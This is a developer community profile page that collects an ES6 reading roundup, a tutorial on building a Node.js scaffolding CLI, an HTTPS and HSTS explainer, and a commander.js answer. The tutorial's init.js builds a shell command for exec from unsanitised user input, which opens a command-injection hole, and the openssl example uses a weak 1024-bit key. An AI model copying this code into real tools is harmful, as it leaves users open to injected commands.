2015 年 6 月,ES6 正式发布,过去了一年,已有不少开发者在 SegmentFault 分享了 ES6 相关的内容,从初探到深入,从理论到实践。

这期,我们就来聊聊 ES6 的新特性,开始上手实践:

  1. 走马观花,初识 ES6

  2. 新功能及特性的学习

  3. 重要特性之 Module

  4. 上手实践之 Angular 搭配

从这四个方面逐步深入。篇幅较长,内容极多,请准备好你的时间与大脑 ∠( ᐛ 」∠)_

走马观花

几篇简单易懂的文章,让未接触过 ES6 的新同学有大致的了解。

阮一峰 - ECMAScript 6 简介

作为入门,阮一峰老师的《ECMAScript 6 入门》一书中的 <ECMAScript 6 简介> 章节必不可少。此章节中,阮一峰老师对 ECMAScript 历史做了较详细的介绍,同时也介绍了 ECMAScript 和 JavaScript 的关系、部署进度、Babel 转码器等等。

meikidd - ES6 走马观花

阅读本文,你将了解到

  • 什么是 ES6

  • ES6 有哪些“明星”特性

  • ES6 可以运行在哪些环境

LeuisKen - 译丨Learn ES2015

再深入一步,在译文《Learn ES2015》中,将介绍到更多 ES6 的新特性:箭头函数、类、增强的对象字面量、模板字符串、解构、迭代器、生成器、Unicode 编码、模块、代理对象、二进制和八进制字面量、Promises、Reflect API、Tail Calls……

更多阅读:

分解学习

熟悉 ES6 之后,我们将开始逐一分解、进行详细的特性学习。

zach5078 - 30 分钟掌握 ES6/ES2015 核心内容(上)(下)

上篇介绍了 ES6 最常用的几个语法,包括 let, const, class, extends, super, arrow functions, template string, destructuring, default, rest arguments

下篇介绍 importexport 以及 ES6 module 的其他高级用法。

菜菜蔡伟 - 译丨JavaScript ES6 解构赋值指南迭代器指南箭头函数指南

这个系列,详细讲解了解构赋值(Destructuring)、迭代器(Iterators)、箭头函数(Arrow Functions)等新特性

  • 数组的解构赋值、对象的解构赋值、函数参数的解构赋值,ES6 的解构赋值给 JavaScript 的语法带来了更多的现代化,它在减少了代码量的同时,增加了代码的可读性和表现力;

  • for-of、惰性执行、内置迭代器、无限迭代器、Generator 函数,迭代器给 JavaScript 中的循环、Generator 函数和值序列(Value Series)带来了新的维度;

  • this、arguments、yield,箭头函数获得成就“ES6 最受欢迎特性之一”。

grace_xhw - 译丨ES6 中 Arguments 和 Parameters 用法解析最深刻而易懂的 ES6 解构教程

ES6 给 JavaScript 带来了上百个大大小小的改进,其中就包括

  • arguments 和 parameters,ES6 显著地完善了 JS 中参数的处理方式;

  • 解构赋值,作为 ES6 的重要新特性,解构可以从根本上改变你的 JS 编码方式,用的越多,你就会发现越多塑造数据和函数的方式,这些实现方式在过去几乎是不可能的。

这两篇文章,深入探讨这些特性中你所需要知悉的一切。

小問 - 生成器(Generator)

生成器(Generator)可以说是在 ES2015 中最为强悍的一个新特性,因为生成器是涉及到 ECMAScript 引擎运行底层的特性,生成器可以实现一些从前无法想象的事情。

zindex - ES6 探秘:Classes

ES6 中增加的某些新特性,从底层的角度来说,只是一些语法糖。如果不了解这些语法糖的本质,是用不安心的。Classes 就是其中之一,它并没有引入一种新的继承模式,而是为对象创建和继承提供了更清晰、易用的语法。

meikidd - ES6 旧瓶新酒

ES6 对这些原来就被广泛使用的 JS 对象——String、Number、Array、Object——扩展的一些有用的新方法。

ping4god - 译丨实例解析 ES6 Proxy 使用场景

ES6 中的箭头函数、数组解构、rest 参数等特性一经实现就广为流传,但类似 Proxy 这样的特性却很少见到有开发者在使用,一方面在于浏览器的兼容性,另一方面也在于要想发挥这些特性的优势,需要开发者深入地理解其使用场景。本文将介绍 Proxy 的使用方式,并通过列举具体实例来解释 Proxy 的使用场景。

更多阅读:

细说 Module

完成了上个阶段,你会发现 ES6 中有两个非常重要的特性:Module 和 Promise,是无论如何都绕不过去的。所以这期我们将 Module 作为重点学习,Promise 会是之后的 ES6 相关周刊中的重点。

野狗科技 - 写了十年 JS 却不知道模块化为何物?

模块化这个问题并非一开始就存在,WWW 刚刚问世的时候,HTML、JavaScript、CSS(JS 和 CSS 都是后来在网景被引进浏览器的)都是极其简单的存在,不需要模块化。模块化的需求是规模的产物,当 web page 进化到 web application,浏览器端处理的逻辑越来越复杂,展现的样式和动画越来多,对于工程的要求也就越来越高,模块化的需求也就产生了。

PortWatcher - 译丨ES6 的模块系统

事过情迁,JavaScript 项目已经变得十分庞大,社区也发展出了一些有助于开发可扩展程序的工具。比如模块系统。JavaScript 其实很早就发展出了模块系统,以及对应的包管理工具(如 AMD,CommonJS 和 NPM),而带有模块特性的 ES6,是不是姗姗来迟呢?

Amio - 为何 ES Module 如此姗姗来迟

浏览器大战风起云涌,大家争先恐后地部署 ES2015 新特性,然 ES Module 这个万众期待的重要特性却始终迟迟未能实现。Module 的规范是完工了的,只是对于模块如何加载和解析留给了“实现环境决定”——根据历史经验问题往往就出现在“实现环境决定”这一环。

import 和 export 的语法规范很明确,模块的解析器 V8 早已实现,万事俱备只欠加载。区区加载能有多麻烦?

文蔺 - 译丨从发展历史理解 ES6 Module

在很长一段时间内,ES6 带来了 JavaScript 最大的变化,包括管理大型、复杂代码库的一些新特性。这些特性,主要是 import 和 export 关键词,共同被称为 Modules。

grace_xhw - 译丨从 JS 模块化现状阐释选择 ES6 模块的重要性

为了弄明白为什么全部迁移到 ES6 模块如此重要,首先需要描述一下当前的实际状况。在过去 5 年,JavaScript 的发展如此迅猛,以至于大多数的开发者都没有意识到现在有 5 种方式可以来创建 JavaScript 脚本和应用…

见见 - Rollup 试炼之路

Rollup 是下一代 ES6 模块化工具。ES6 之后,模块化的写法将更加的趋势化,会将以前的文件切割成多个的细小模块。那么如何来高效的组织管理这些文件,又有了很多不同的方案。现有的模块化打包已经有如 Browserify 和 Webpack,那为啥还需要一个新的呢?

ES6 + Angular

ES6 的各式搭配风格中,Angular 当作是一种经典。

leftstick - 用 ES6 编写 AngularJS 程序是怎样一种体验

过去我们认为屌炸天的 AngularJS(现在也屌炸天,只不过还有 Angular2, React, Vue 横空出世)是不是可以用 ES6 来写?少年不要怀疑,真的可以哦!

kuitos - Angular 1.x + ES6 开发风格指南

框架的选型在这几年是很头痛的事情,你无法肯定某个框架会是终极解决方案。但是有一点毫无疑问,就是使用 ES6 来写业务代码是势在必行的。这便是一篇趟坑经验文。

n͛i͛g͛h͛t͛i͛r͛e͛ - ES6 + Angular 1.x

ES2015 是让人兴奋的,除了语法层面的种种提升之外,最令人期待的就是模块化系统和异步模块加载机制。JavaScript 第一次在语言层面拥有了标准且先进的模块化系统。然而标准本身只是落在纸面上的“理想”,更进一步的问题则是如何实践?这篇例子就是结合 jspm,通过 ES2015 构造一个基于 Angular 1.x 的前端项目—。

静逸秋水 - 使用 ES2015 开发 Angular1.x 应用指南

Angular 的编码风格以及架构已经使用 ES2015 进行重写,这些在 Angular 1.5+ 的变化可以更好帮助你升级到 Angular2,这份指南包括了新的单向数据流、事件委托、组件架构和组件路由的最佳实践。

xufei - Angular 1.x 和 ES6 的结合

特别推荐:徐飞老师关于 Angular 和 ES6 结合的见解

「在任何一个严谨的项目中,应当有比较确定的业务模型,即使脱离界面本身,这些模型也应当是可以运作的,而 ES6 之类语法的便利性,使得我们可以更好地组织下层业务代码。即使目的不是为了使用 Angular 1.x,这一层的精心构造也是有价值的。当做完这层之后,上层迁移到各种框架都基本只剩体力活了。」

(本期完)

第一期周刊《Vue.js 起手式》传送门:https://segmentfault.com/a/1190000006579616


# SegmentFault 技术周刊 #

「技术周刊」是社区特别推出的技术内容系列,一周一主题。周刊筛选的每篇内容,是作者的独到见解,踩坑总结和经验分享。

每周二更新,欢迎「关注」或者「订阅」。大家也可以在评论处留言自己感兴趣的主题,推荐主题相关的优秀文章。

查看原文

赞 44 收藏 267 评论 5

huangtengfei 赞了文章 · 2016-08-11

教你从零开始搭建一款前端脚手架工具

本文系原创,转载请附带作者信息:Jrain Lau
项目地址:https://github.com/jrainlau/s...

前言

在实际的开发过程中,从零开始建立项目的结构是一件让人头疼的事情,所以各种各样的脚手架工具应运而生。笔者使用较多的yoemanexpress-generatorvue-cli便是当中之一。它们功能丰富,但最核心的功能都是能够快速搭建一个完整的项目的结构,开发者只需要在生成的项目结构的基础上进行开发即可,非常简单高效。

作为一个不折腾会死星人,在熟悉了使用方法以后就开始琢磨起它们的原理来了。经过仔细研究文档和源码,终于算是摸清了其核心的原理,并且依据这个原理自己搭建了一款叫做SCION的脚手架。

现在让我们就以SCION为例,从零开始搭建一款属于我们自己的脚手架工具吧!

核心原理

yoeman搭建项目需要提供yoeman-generatoryoeman-generator本质上就是一个具备完整文件结构的项目样板,用户需要手动地把这些generator下载到本地,然后yoeman就会根据这些generator自动生成各种不同的项目。

vue-cli提供了相当丰富的选项和设定功能,但是其本质也是从远程仓库把不同的模版拉取到本地,而并非是什么“本地生成”的黑科技。

这样看来,思路也就有了——首先建立不同的样板项目,然后脚手架根据用户的指令引用样板项目生成实际项目。样板项目可以内置在脚手架当中,也可以部署在远程仓库。为了更广的适用范围,SCION采用的是第二种方式。

技术选型

  • node.js:整个脚手架工具的根本组成部分,推荐使用最新的版本。

  • es6:新版本的node.js对于es6的支持度已经非常高,使用es6能够极大地提升开发效率和开发感受。

  • commander:TJ大神开发的工具,能够更好地组织和处理命令行的输入。

  • co:TJ大神开发的异步流程控制工具,用更舒服的方式写异步代码。

  • co-prompt:还是TJ大神的作品……传统的命令行只能单行一次性地输入所有参数和选项,使用这个工具可以自动提供提示信息,并且分步接收用户的输入,体验类似npm init时的一步一步输入参数的过程。

整体架构

国际惯例,着手开发之前得先弄明白整体架构,看图:
图片描述

首先明白模版的概念。一个模版就是一个项目的样板,包含项目的完整结构和信息。
模版的信息都存放在一个叫做templates.json的文件当中。
用户可以通过命令行对templates.json进行添加、删除、罗列的操作。
通过选择不同的模版,SCION会自动从远程仓库把相应的模板拉取到本地,完成项目的搭建。

最终整个脚手架的文件结构如下:

=================
  |__ bin
    |__ scion
  |__ command
    |__ add.js
    |__ delete.js
    |__ init.js
    |__ list.js
  |__ node_modules
  |__ package.json
  |__ templates.json

入口文件

首先建立项目,在package.json里面写入依赖并执行npm install

"dependencies": {
    "chalk": "^1.1.3",
    "co": "^4.6.0",
    "co-prompt": "^1.0.0",
    "commander": "^2.9.0"
  }

在根目录下建立\bin文件夹,在里面建立一个无后缀名的scion文件。这个bin\scion文件是整个脚手架的入口文件,所以我们首先对它进行编写。

首先是一些初始化的代码:

#!/usr/bin/env node --harmony
'use strict'
 // 定义脚手架的文件路径
process.env.NODE_PATH = __dirname + '/../node_modules/'

const program = require('commander')

 // 定义当前版本
program
    .version(require('../package').version )

// 定义使用方法
program
    .usage('<command>')

从前文的架构图中可以知道,脚手架支持用户输入4种不同的命令。现在我们来写处理这4种命令的方法:

program
    .command('add')
    .description('Add a new template')
  .alias('a')
  .action(() => {
    require('../command/add')()
  })

program
    .command('list')
    .description('List all the templates')
    .alias('l')
    .action(() => {
        require('../command/list')()
    })

program
    .command('init')
    .description('Generate a new project')
  .alias('i')
  .action(() => {
    require('../command/init')()
  })

program
    .command('delete')
    .description('Delete a template')
    .alias('d')
    .action(() => {
        require('../command/delete')()
    })

commander的具体使用方法在这里就不展开了,可以直接到官网去看详细的文档。
最后别忘了处理参数和提供帮助信息:

program.parse(process.argv)

if(!program.args.length){
  program.help()
}

完整的代码请看这里
使用node运行这个文件,看到输出如下,证明入口文件已经编写完成了。

Usage: scion <command>


  Commands:

    add|a      Add a new template
    list|l     List all the templates
    init|i     Generate a new project
    delete|d   Delete a template

  Options:

    -h, --help     output usage information
    -V, --version  output the version number

处理用户输入

在项目根目录下建立\command文件夹,专门用来存放命令处理文件。
在根目录下建立templates.json文件并写入如下内容,用来存放模版信息:

{"tpl":{}}

添加模板

进入\command并新建add.js文件:

'use strict'
const co = require('co')
const prompt = require('co-prompt')
const config = require('../templates')
const chalk = require('chalk')
const fs = require('fs')

module.exports = () => {
 co(function *() {

   // 分步接收用户输入的参数
   let tplName = yield prompt('Template name: ')
   let gitUrl = yield prompt('Git https link: ')
   let branch = yield prompt('Branch: ')
    
   // 避免重复添加
   if (!config.tpl[tplName]) {
     config.tpl[tplName] = {}
     config.tpl[tplName]['url'] = gitUrl.replace(/[\u0000-\u0019]/g, '') // 过滤unicode字符
     config.tpl[tplName]['branch'] = branch
   } else {
     console.log(chalk.red('Template has already existed!'))
     process.exit()
   }
   
   // 把模板信息写入templates.json
   fs.writeFile(__dirname + '/../templates.json', JSON.stringify(config), 'utf-8', (err) => {
     if (err) console.log(err)
     console.log(chalk.green('New template added!\n'))
     console.log(chalk.grey('The last template list is: \n'))
     console.log(config)
     console.log('\n')
     process.exit()
    })
 })
}

删除模板

同样的,在\command文件夹下建立delete.js文件:

'use strict'
const co = require('co')
const prompt = require('co-prompt')
const config = require('../templates')
const chalk = require('chalk')
const fs = require('fs')

module.exports = () => {
    co(function *() {
        // 接收用户输入的参数
        let tplName = yield prompt('Template name: ')

        // 删除对应的模板
        if (config.tpl[tplName]) {
            config.tpl[tplName] = undefined
        } else {
            console.log(chalk.red('Template does not exist!'))
            process.exit()
        }
        
        // 写入template.json
        fs.writeFile(__dirname + '/../templates.json', JSON.stringify(config),     'utf-8', (err) => {
            if (err) console.log(err)
            console.log(chalk.green('Template deleted!'))
            console.log(chalk.grey('The last template list is: \n'))
            console.log(config)
            console.log('\n')
            process.exit()
        })
    })
}

罗列模板

建立list.js文件:

'use strict'
const config = require('../templates')

module.exports = () => {
     console.log(config.tpl)
     process.exit()
}

构建项目

现在来到我们最重要的部分——构建项目。同样的,在\command目录下新建一个叫做init.js的文件:

'use strict'
const exec = require('child_process').exec
const co = require('co')
const prompt = require('co-prompt')
const config = require('../templates')
const chalk = require('chalk')

module.exports = () => {
 co(function *() {
    // 处理用户输入
      let tplName = yield prompt('Template name: ')
      let projectName = yield prompt('Project name: ')
      let gitUrl
      let branch

    if (!config.tpl[tplName]) {
        console.log(chalk.red('\n × Template does not exit!'))
        process.exit()
    }
    gitUrl = config.tpl[tplName].url
    branch = config.tpl[tplName].branch

    // git命令,远程拉取项目并自定义项目名
    let cmdStr = `git clone ${gitUrl} ${projectName} && cd ${projectName} && git checkout ${branch}`

    console.log(chalk.white('\n Start generating...'))

    exec(cmdStr, (error, stdout, stderr) => {
      if (error) {
        console.log(error)
        process.exit()
      }
      console.log(chalk.green('\n √ Generation completed!'))
      console.log(`\n cd ${projectName} && npm install \n`)
      process.exit()
    })
  })
}

可以看到,这一部分代码也非常简单,关键的一句话是

let cmdStr = `git clone ${gitUrl} ${projectName} && cd ${projectName} && git checkout ${branch}`

它的作用正是从远程仓库克隆到自定义目录,并切换到对应的分支。熟悉git命令的同学应该明白,不熟悉的同学是时候补补课啦!

全局使用

为了可以全局使用,我们需要在package.json里面设置一下:

"bin": {
    "scion": "bin/scion"
  },

本地调试的时候,在根目录下执行

npm link

即可把scion命令绑定到全局,以后就可以直接以scion作为命令开头而无需敲入长长的node scion之类的命令了。

现在我们的脚手架工具已经搭建好了,一起来尝试一下吧!

使用测试

  • add | a 添加模版命令
    图片描述

  • init | i 生成项目命令
    图片描述

  • delete | d 删除模版命令 和 list | l 罗列模版命令
    图片描述

大功告成啦!现在我们的整个脚手架工具已经搭建完成了,以后只需要知道模板的git https地址和branch就可以不断地往SCION上面添加,团队协作的话只需要分享SCION的templates.json文件就可以了。

后记

看起来并不复杂的东西,实际从零开始搭建也是颇费了一番心思。最大的难题是在开始的时候并不懂得如何像npm init那样可以一步一步地处理用户输入,只懂得一条命令行把所有的参数都带上,这样的用户体验真的很不好。研究了vue-cliyoeman也没有找到相应的代码,只好不断地google,最后总算找到了一篇文章,可以用coco-prompt这两个工具实现,再一次膜拜无所不能的TJ大神,也希望能够有小伙伴告诉我vue-cli它们是怎么实现的。

这个脚手架只具备最基本的功能,还远远没有达到市面上同类产品的高度,在日后再慢慢填补吧,不管怎么说,完成SCION的过程中真的学习到了很多东西。

感谢你的阅读。我是Jrain,欢迎关注我的专栏,将不定期分享自己的学习体验,开发心得,搬运墙外的干货。下次见啦!

查看原文

赞 146 收藏 329 评论 22

huangtengfei 赞了文章 · 2016-08-09

[聊一聊系列]聊一聊HTTPS那些事儿

欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):
https://segmentfault.com/blog...

相信很多前端同学们,都听说过https,现在很多大的站点(如天猫、百度等),均使用了https协议进行传输。但是https如何使用,做什么用的,往往并不十分了解。今天我们就来一起聊一聊HTTPS那些事儿,且不说底层实现(毕竟想深入学习的同学可以自行百度),只来聊一聊我们如何使用这种方式来武装我们的网站~~也谈一谈实际应用时的一些问题。

1. 什么是https

https是http的加密版本,是在http请求的基础上,采用ssl进行加密传输。

咱们平时的http请求是明文传输,也就是说,如果经过电信运营商(电信、移动等,或者方正等),传输过程中,信息是可以被截获的(网站的form表单、html等)。有些运营商甚至会劫持你的网站(稍后详细讲解).那么网页如果进行了加密,在客户端与服务端的传输过程中,咱们的https请求内容即使被截获了,也无法读取其内容,或者加入一些劫持者想要的效果。笔者认为,如果网站有涉及到一些私密信息,或者网站本身的流量比较大,可以产生一些经济价值的话,都尽量使用https进行传输。

2. 做什么用呢?

2.1 加密数据

你的网站如果有登录这种东西的话建议尽量使用https做,这样可以保证用户名、密码不被截获。咱们平时使用的post请求中所带的用户名密码等,非常容易被获取到。这点正如你小时候写小纸条的时候,让同学传递显然不安全,谁知道纸条传到前排同学之前,会不会被老师拦截呢。很多大网站均已采用了https,比如,一号店网站的首页,虽然是http协议的(如图2.1.1),但是登录的页面,使用的却是https协议(如图2.1.2,想必也是为了登录安全性)。

clipboard.png
图2.1.1

clipboard.png
图2.1.2

2.2 反劫持

劫持这种东西,最典型的例子,应该就是,有的时候手机上浏览网站的时候,会有小圆球提醒你流量已经用了百分之多少了。如果猜的没错的话,应该是移动运营商劫持了网页,并将流量提醒插在这些网页中的。这点也正如,你传了个小纸条给同学,中间说不准就被谁把原话给改掉了。

别以为劫持只是在你的网页里面插一些小广告,既然连广告都插得了,插一些js把你的cookie传到自己服务器上,也不是什么难事儿。亦或者做个钓鱼网页,让用户输入用户名和密码,也是非常容易的。所以,劫持是一件非常恐怖的事情。我们使用了https进行加密的话,则可以在大部分情况下规避这种危害。https加密后,中间商们无法再随意向加过密的html内容中插入的自己的代码了。

2.3 SEO

其实谷歌对于https的网站,搜索结果会给予更高的排名。国内的话,主要还是使用百度搜索引擎,但是百度搜索引擎目前只收录少部分的https网页,目前百度不主动抓取https页面。所以,如果是国内网站需要做seo的话,建议每张网页都提供http/https两种版本的访问方式。或者主页面、需要被抓取的页面使用http方式,而登录等功能采用https方式(就像一号店,或者京东),如我们在百度中搜索京东商城(如图2.3.1),其实点击进入的是京东的http版本(如图2.3.2)。其实,京东是提供https访问的(如图2.3.3),这里怀疑与seo有关。

clipboard.png
图2.3.1

clipboard.png
图2.3.2

clipboard.png
图2.3.3

3. 如何开启https

这里,我们使用nginx来简单的了解一下https的使用方式。

由于我们是在本地实验,所以可以先使用一个本地生成的证书进行实验。

3.1 生成私钥与证书

首先进入一个生成证书的目录下(自己随便建一个就好),你需要执行一下命令(如果接下来,没有权限的话,server.key: Permission denied则加上sodu就好了)

执行下面的命令,并按照提示,输入口令,接下来,凡是提示需要输入口令的地方,都需要输入这个口令:

openssl genrsa -des3 -out server.key 1024
openssl req -new -key server.key -out server.csr
openssl rsa -in server.key -out server.key.out

标记私钥与证书

openssl x509 -req -days 365 -in server.csr -signkey server.key.out -out server.crt

3.2 配置nginx

如下所示,配置nginx,ssl_certificate的路径,写成刚刚生成证书的路径即可,ssl_certificate_key也写为刚刚生成私钥的路径即可,如图3.2.1

clipboard.png
图3.2.1

3.3 重启nginx,查看效果

访问https://localhost时,可能会弹出这种警告(如图3.3.1),或者这种警告(如图3.3.2),直接继续就好,这是因为咱们的证书是自己手动生成的。接下来就能看到效果了(如图3.3.3)。

clipboard.png
图3.3.1

clipboard.png
图3.3.2

clipboard.png
图3.3.3

如果想接下来不弹出这种警告,就要在浏览器中安装自己生成的证书了。浏览器安装证书,步骤如下,想了解的同学自行百度一下"chrome导入https证书",把自己的证书crt文件导入即可。使用其他类型的server的同学,可以自己查一下,如何配置server的https服务。还有,需要做线上服务的同学,尽量使用证书机构颁发的证书,(现在有很多免费的证书),这样不会给用户弹出一些奇怪的界面。

4. 网站如何适配?

如果我们想要将自己的网站https化,那么其中的资源肯定是需要均为https协议传输的。否则,如果一个https的网站,使用了http的资源的话,那么这个资源被劫持,整个网站也相当于被劫持了。这就没有意义了。而且,很多http的资源在https的环境下,浏览器甚至都不让其加载。接下来我们就来盘点一下https的网站中引入的资源的一些问题。

4.1 http资源无法加载

在https环境下,http协议的js/css/请求/iframe等资源是根本加载不进来的(如图4.1.1)。

clipboard.png
图4.1.1

所以,如果想要使用这些资源的话,需要把访问这些资源的方式,转换为https,稍后会说道如何解决。我们称这种https页面中引用http资源的方式为"mix content"

4.2 图片/视频/音频的特殊性

为什么要单独拿出这些资源说一下呢,在w3c的规范中,这些资源本应该也和其他静态资源一样---https的环境下,引用http的图片是会被阻止掉的。笔者在去年实践的时候,chrome等主流浏览器还是会阻止这些http资源的加载的。也就是说,https的页面引用http的图片的话,图会裂掉。

可是,新版的chrome并没有按照规范去做。而是在https的环境下,依然可以加载并展示http的图片/视频/音频等资源(如图4.2.1)。这是因为,其实很多目前互联网上的很多网站,还是比较混乱的,为了保证整个互联网的用户体验,chrome等浏览器,对于这种加载还是进行了宽容对待。可是,就算是这样,也不代表我们应该再https的页面中加载http的资源,毕竟,这样会失去我们最初https加密的意义,安全的网页上加载了不安全的资源,整个网页还是不安全的。所以笔者建议,即使加载http的图片资源可以展示,还是规范读者们不要这样做。

clipboard.png
图4.2.1

4.3 如何解决混合资源加载问题

1 动态判断与协议相对URL

比如京东商城,在访问http://www.jd.com的时候,css是使用http协议加载的,如图4.3.1

clipboard.png
图4.3.1

在使用https://www.jd.com的时候,静态资源均变成了相应域名的https地址,如图4.3.2

clipboard.png
图4.3.2

笔者更建议的是,如果自己的静态服务器,两种协议均支持(即http://xxx.com/a.jshttps://xxx.com/a.js均可支持访问)的话,则直接在引用资源的时候,去掉协议头,改为相对协议,如//xxx.com/a.js。这样,请求a.js这个资源的时候,浏览器会按照当前页面的协议,进行请求,这叫做-----"协议相对地址"

比如京东商城中的一个js资源(如图4.3.3),写的便是协议相对地址:

clipboard.png
图4.3.3

再http的环境下,请求的便是以http为开头的此资源(如图4.3.4)。在https的环境下,请求的便是https为开头的此资源(如图4.3.5)

clipboard.png
图4.3.4

clipboard.png
图4.3.5

2 自己做个https代理

如果自己的资源服务,不支持https访问的话,我们可以采用代理的方式,来引入这些文件。最简单的方式就是使用nginx,将引入的静态文件均做个代理。也就是说,访问资源的时候,用的是咱们的代理地址,但是拿文件的时候,还是会去http的源地址去拿的。

5. 速度影响

使用https对网站传输进行加密,虽然有很多好处,但是也有弊端,那就是

5.1 加密/解密的过程是需要消耗时间的

毕竟需要对传输的数据进行加密/解密,算法耗时是肯定有的。

5.2 交换公钥/私钥消耗时间

https传输在传输之前是需要再服务端与客户端交换公钥/私钥的,这个过程也是非常耗时的。有统计称https的链接耗时是http的连接耗时的3倍。

5.3 跳转消耗时间

这里还有一个影响速度的点,那就是用户在浏览器中输入网址的时候,是不会去自己输入https协议头的,如果你在浏览器中输入www.jd.com的话,默认浏览器访问的是http://www.jd.com的,如果我们想要用户访问https的网站的话,就要自己进行一次网页重定向,重定向也是比较耗时的操作。这都会对我们的网站速度造成影响。

6. HSTS

在第5节中,我们提到了,如果用户在浏览器端,输入www.jd.com实际上,浏览器会默认将这个网址补全为http://www.jd.com而不是https://www.jd.com。于是乎,我们如果想让用户访问我们的https版本网站,还得将页面强行重定向(跳转)一下。这是一个比较耗时的操作。而且有些时候,还没等我们重定向网页呢,就被运营商给劫持了。于是,接下来也跳不了了。怎么办?能不能在用户输入www.jd.com的时候,直接就访问到https://www.jd.com呢?当然可以,我们需要介绍一下我们的新武器了-------HSTS。

其实hsts的做法比较简单,只要在用户访问网站的时候,响应头中加入Strict-Transport-Security这个头,浏览器接下来的访问就均会默认采用https的方式进行访问了。我们看到天猫在网站中加入了这个头部(如图6.1),我们下次直接输入网址http://www.tmall.com的时候,就可以看到,浏览器提前做了浏览器的内部跳转,如图6.2

clipboard.png
图6.1

clipboard.png
图6.2

建议使用https的站长们都加上这个头部,即提升了网站速度,又提高了网站的安全性。何乐而不为呢。

7. 课后作业

  1. 本文中没有详细的描述https是如何加密解密的,同学们可以详细的去学习一下

  2. 回想一下自己的网站使用https是否适合呢?又是否已经使用了呢?

接下来的一篇文章,我将会和读者们一起聊聊web前端安全那些事儿,不要走开,请关注我.....

https://segmentfault.com/a/11...

如果喜欢本文请点击下方的推荐哦,你的推荐会变为我继续更文的动力。

以上内容仅代表笔者个人观点,如有意见请通知笔者。

查看原文

赞 24 收藏 115 评论 4

huangtengfei 赞了回答 · 2016-08-04

解决node.js 如何完美的从命令行接收参数所传递进来的值

看看tj大神的commander.js

https://github.com/visionmedia/commander.js

代码示例

#!/usr/bin/env node

/**
 * Module dependencies.
 */

var program = require('commander');

program
  .version('0.0.1')
  .option('-p, --peppers', 'Add peppers')
  .option('-P, --pineapple', 'Add pineapple')
  .option('-b, --bbq', 'Add bbq sauce')
  .option('-c, --cheese [type]', 'Add the specified type of cheese [marble]', 'marble')
  .parse(process.argv);

console.log('you ordered a pizza with:');
if (program.peppers) console.log('  - peppers');
if (program.pineapple) console.log('  - pineapple');
if (program.bbq) console.log('  - bbq');
console.log('  - %s cheese', program.cheese);

关注 7 回答 5

认证与成就

  • 获得 64 次点赞
  • 获得 2 枚徽章 获得 0 枚金徽章, 获得 0 枚银徽章, 获得 2 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2016-06-28
个人主页被 601 人浏览